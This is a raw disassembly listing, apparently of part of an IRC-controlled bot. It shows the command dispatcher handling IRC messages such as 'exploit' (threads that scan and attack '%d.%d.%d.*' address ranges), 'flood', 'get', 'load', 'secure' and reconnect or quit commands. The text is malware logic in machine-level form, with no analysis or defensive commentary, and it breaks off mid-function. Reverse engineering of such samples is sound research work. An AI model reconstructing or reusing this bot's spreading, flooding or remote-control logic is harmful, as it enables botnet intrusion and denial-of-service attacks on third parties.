		test	eax, eax
		pop	ecx
		jle	short loc_403FCC
		push	offset unk_42C300
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FCC:				; CODE XREF: sub_401ACD+24F3j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C65
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEB
		push	offset unk_42C2D8
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FEB:				; CODE XREF: sub_401ACD+2512j
		push	offset unk_42C2B8
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FF5:				; CODE XREF: sub_401ACD+18D0j
					; sub_401ACD+18E5j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CF
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40400E:				; CODE XREF: sub_401ACD+18A6j
					; sub_401ACD+18BBj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C29
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40402B:				; CODE XREF: sub_401ACD+187Cj
					; sub_401ACD+1891j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 26907ACh
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404054
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax


loc_404054:				; CODE XREF: sub_401ACD+257Cj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406D
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409855


loc_40406D:				; CODE XREF: sub_401ACD+2595j
		push	ebx
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C2A0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD


loc_4040AB:				; CODE XREF: sub_401ACD+529Dj
		add	esp, 24h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_4040B3:				; CODE XREF: sub_401ACD+1852j
					; sub_401ACD+1867j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A30
		add	esp, 0Ch
		push	offset dword_42C280
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_4040D1:				; CODE XREF: sub_401ACD+1828j
					; sub_401ACD+183Dj
		push	27h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_404105
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C260
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73


loc_4040FD:				; CODE XREF: sub_401ACD+7238j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_404105:				; CODE XREF: sub_401ACD+260Ej
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404166
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404166
		mov	[ebp+var_AA8], 1


loc_404166:				; CODE XREF: sub_401ACD+267Cj
					; sub_401ACD+268Dj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C23C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EC
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4041D4


loc_4041BE:				; CODE XREF: sub_401ACD+2705j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409631
		push	32h
		call	near ptr 2670EC6h
		nop
		jmp	short loc_4041BE
; ---------------------------------------------------------------------------


loc_4041D4:				; CODE XREF: sub_401ACD+26EFj
		call	near ptr 2680867h
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C200
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409631
; ---------------------------------------------------------------------------


loc_4041F4:				; CODE XREF: sub_401ACD+17FEj
					; sub_401ACD+1813j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404213
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1E4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_404213:				; CODE XREF: sub_401ACD+272Aj
		push	[ebp+arg_4]
		call	dword_4CB6EC
		call	dword_4CB5AC
		call	sub_41835A
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_40422E:				; CODE XREF: sub_401ACD+17D4j
					; sub_401ACD+17E9j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA43
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	offset dword_42C1C8
		jmp	short loc_404286
; ---------------------------------------------------------------------------


loc_404259:				; CODE XREF: sub_401ACD+17AAj
					; sub_401ACD+17BFj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF7
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	offset dword_42C1AC


loc_404286:				; CODE XREF: sub_401ACD+24E4j
					; sub_401ACD+278Aj
		call	sub_4151AD
		add	esp, 18h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_404293:				; CODE XREF: sub_401ACD+1780j
					; sub_401ACD+1795j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524D
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_4042AC:				; CODE XREF: sub_401ACD+1756j
					; sub_401ACD+176Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EB
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EB
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EB
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_4042EB:				; CODE XREF: sub_401ACD+27E8j
					; sub_401ACD+27F3j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C194
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset word_41528E
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40438E


loc_404378:				; CODE XREF: sub_401ACD+28BFj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_404378
; ---------------------------------------------------------------------------


loc_40438E:				; CODE XREF: sub_401ACD+28A9j
		call	near ptr 2680867h
		nop
		push	eax
		push	offset unk_42C15C
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40439F:				; CODE XREF: sub_401ACD+172Cj
					; sub_401ACD+1741j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415135
		push	offset dword_42C144
		call	sub_4151AD


loc_4043BA:				; CODE XREF: sub_401ACD+2454j
		add	esp, 10h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_4043C2:				; CODE XREF: sub_401ACD+1702j
					; sub_401ACD+1717j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441C
		push	offset dword_42C140
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404422
; ---------------------------------------------------------------------------


loc_40441C:				; CODE XREF: sub_401ACD+2933j
		mov	[ebp+var_B40], ebx


loc_404422:				; CODE XREF: sub_401ACD+294Dj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C120
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset word_40B162
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404490


loc_40447A:				; CODE XREF: sub_401ACD+29C1j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406D00
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_40447A
; ---------------------------------------------------------------------------


loc_404490:				; CODE XREF: sub_401ACD+29ABj
		call	near ptr 2680867h
		nop
		push	eax
		push	offset unk_42C0E4
		jmp	loc_409227
; ---------------------------------------------------------------------------


loc_4044A1:				; CODE XREF: sub_401ACD+1686j
					; sub_401ACD+169Bj
		push	offset aQsfpo	; "qsfpo"
		push	offset dword_42C0CC


loc_4044AB:				; CODE XREF: sub_401ACD+2A1Dj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h
		jmp	loc_406D00
; ---------------------------------------------------------------------------


loc_4044D8:				; CODE XREF: sub_401ACD+165Cj
					; sub_401ACD+1671j
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		push	offset unk_42C0A0
		jmp	short loc_4044AB
; ---------------------------------------------------------------------------


loc_4044EC:				; CODE XREF: sub_401ACD+1632j
					; sub_401ACD+1647j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451E
		cmp	[ebp+var_C], ebx
		jz	short loc_40452D
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452D
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		jmp	short loc_40452D
; ---------------------------------------------------------------------------


loc_40451E:				; CODE XREF: sub_401ACD+2A28j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		pop	ecx
		pop	ecx


loc_40452D:				; CODE XREF: sub_401ACD+2A2Dj
					; sub_401ACD+2A3Cj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------


loc_404534:				; CODE XREF: sub_401ACD+1608j
					; sub_401ACD+161Dj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		push	offset dword_42C050
		call	sub_4151AD
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_404556:				; CODE XREF: sub_401ACD+15DEj
					; sub_401ACD+15F3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		push	offset dword_42C01C
		call	sub_4151AD
		add	esp, 0Ch
		jmp	loc_4097BA
; ---------------------------------------------------------------------------


loc_404575:				; CODE XREF: sub_401ACD+15B4j
					; sub_401ACD+15C9j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DB
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_40458B:				; CODE XREF: sub_401ACD+158Aj
					; sub_401ACD+159Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B786
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045A1:				; CODE XREF: sub_401ACD+1560j
					; sub_401ACD+1575j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B71A
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045B7:				; CODE XREF: sub_401ACD+1536j
					; sub_401ACD+154Bj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64B
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045CD:				; CODE XREF: sub_401ACD+1491j
					; sub_401ACD+14A6j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42C00C
		push	offset dword_42BFFC
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_4045E5:				; CODE XREF: sub_401ACD+1467j
					; sub_401ACD+147Cj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BFF0
		push	offset dword_42BFE0
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_4045FD:				; CODE XREF: sub_401ACD+1083j
					; sub_401ACD+1098j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461C
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461C
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404621
; ---------------------------------------------------------------------------


loc_40461C:				; CODE XREF: sub_401ACD+2B39j
					; sub_401ACD+2B44j
		mov	eax, dword_429074


loc_404621:				; CODE XREF: sub_401ACD+2B4Dj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404646
		push	esi


loc_404633:				; CODE XREF: sub_401ACD+2B88j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465D
; ---------------------------------------------------------------------------


loc_404646:				; CODE XREF: sub_401ACD+2B63j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404657
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404633
; ---------------------------------------------------------------------------


loc_404657:				; CODE XREF: sub_401ACD+2B7Fj
		mov	[ebp+var_5A0], bl


loc_40465D:				; CODE XREF: sub_401ACD+2B77j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BFB8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset word_4111CE
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40470E


loc_4046F8:				; CODE XREF: sub_401ACD+2C3Fj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_4046F8
; ---------------------------------------------------------------------------


loc_40470E:				; CODE XREF: sub_401ACD+2C29j
		call	near ptr 2680867h
		nop
		push	eax
		push	offset dword_42BF7C
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40471F:				; CODE XREF: sub_401ACD+1019j
					; sub_401ACD+102Ej
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473F
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473F
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404745
; ---------------------------------------------------------------------------


loc_40473F:				; CODE XREF: sub_401ACD+2C5Bj
					; sub_401ACD+2C67j
		mov	ax, word_429084


loc_404745:				; CODE XREF: sub_401ACD+2C70j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF50
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A73
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F7
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset dword_40E504
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404814


loc_4047FE:				; CODE XREF: sub_401ACD+2D45j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 2670EC6h
		nop
		jmp	short loc_4047FE
; ---------------------------------------------------------------------------


loc_404814:				; CODE XREF: sub_401ACD+2D2Fj
		call	near ptr 2680867h
		nop
		push	eax
		push	offset unk_42BF10
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_404825:				; CODE XREF: sub_401ACD+FC5j
					; sub_401ACD+FDAj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484D
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404857


loc_40484D:				; CODE XREF: sub_401ACD+2D67j
		mov	[ebp+var_A10], 1


loc_404857:				; CODE XREF: sub_401ACD+2D7Ej
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489E
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40489E:				; CODE XREF: sub_401ACD+2DCAj
		push	eax
		push	offset dword_42BEDC
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E1A
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404912


loc_4048FC:				; CODE XREF: sub_401ACD+2E43j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_4048FC
; ---------------------------------------------------------------------------


loc_404912:				; CODE XREF: sub_401ACD+2E2Dj
		nop
		call	near ptr 2680867h
		push	eax
		push	offset dword_42BEA0
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_404923:				; CODE XREF: sub_401ACD+F9Bj
					; sub_401ACD+FB0j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AF


loc_404934:				; CODE XREF: sub_401ACD+2AB9j
					; sub_401ACD+2ACFj ...
		add	esp, 0Ch
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_40493C:				; CODE XREF: sub_401ACD+F71j
					; sub_401ACD+F86j
		push	offset unk_42BDF0
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_404946:				; CODE XREF: sub_401ACD+F47j
					; sub_401ACD+F5Cj
		push	offset aAbosel7Vs ; "abosel7 vs"
		push	offset dword_42BDE0
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_404955:				; CODE XREF: sub_401ACD+F1Dj
					; sub_401ACD+F32j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AF
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A7
		cmp	eax, 3
		jge	short loc_4049A7
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499F
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D0B4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_40499F:				; CODE XREF: sub_401ACD+2EB1j
		push	eax
		push	offset unk_42BDB4
		jmp	short loc_4049EC
; ---------------------------------------------------------------------------


loc_4049A7:				; CODE XREF: sub_401ACD+2E9Cj
					; sub_401ACD+2EA1j
		push	eax
		push	offset unk_42BD88
		jmp	short loc_4049EC
; ---------------------------------------------------------------------------


loc_4049AF:				; CODE XREF: sub_401ACD+2E91j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4049B4:				; CODE XREF: sub_401ACD+2F03j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D7
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B4
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_4049D7:				; CODE XREF: sub_401ACD+2EF7j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42D0B4


loc_4049EC:				; CODE XREF: sub_401ACD+2153j
					; sub_401ACD+2ED8j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408289
; ---------------------------------------------------------------------------


loc_4049FD:				; CODE XREF: sub_401ACD+EF3j
					; sub_401ACD+F08j
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A6
		call	sub_40B2C0
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_404A23:				; CODE XREF: sub_401ACD+1A12j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB1
		cmp	dword_4CEE08, ebx
		jz	short loc_404A4B
		push	offset dword_4CE7E8


loc_404A41:				; CODE XREF: sub_401ACD+2FE2j
		push	offset unk_42BD4C
		jmp	loc_404AE1
; ---------------------------------------------------------------------------


loc_404A4B:				; CODE XREF: sub_401ACD+2F6Dj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A41
; ---------------------------------------------------------------------------


loc_404AB1:				; CODE XREF: sub_401ACD+2F65j
		push	esi
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC5
		push	offset unk_42BD0C
		jmp	short loc_404AE1
; ---------------------------------------------------------------------------


loc_404AC5:				; CODE XREF: sub_401ACD+2FEFj
		push	offset dword_4CE7E8
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CEE08, 1
		pop	ecx
		push	esi
		push	offset unk_42BCE0


loc_404AE1:				; CODE XREF: sub_401ACD+2F79j
					; sub_401ACD+2FF6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FE
; ---------------------------------------------------------------------------


loc_404AF5:				; CODE XREF: sub_401ACD+19FAj
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF8
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BCA8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset word_40B8A2
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404BE7


loc_404BD1:				; CODE XREF: sub_401ACD+3118j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_404BD1
; ---------------------------------------------------------------------------


loc_404BE7:				; CODE XREF: sub_401ACD+3102j
		call	near ptr 2680867h
		nop
		push	eax
		push	offset unk_42BC68
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_404BF8:				; CODE XREF: sub_401ACD+3037j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C1
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C1
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409779
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409779
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DF
		nop
		call	near ptr 26907ACh
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
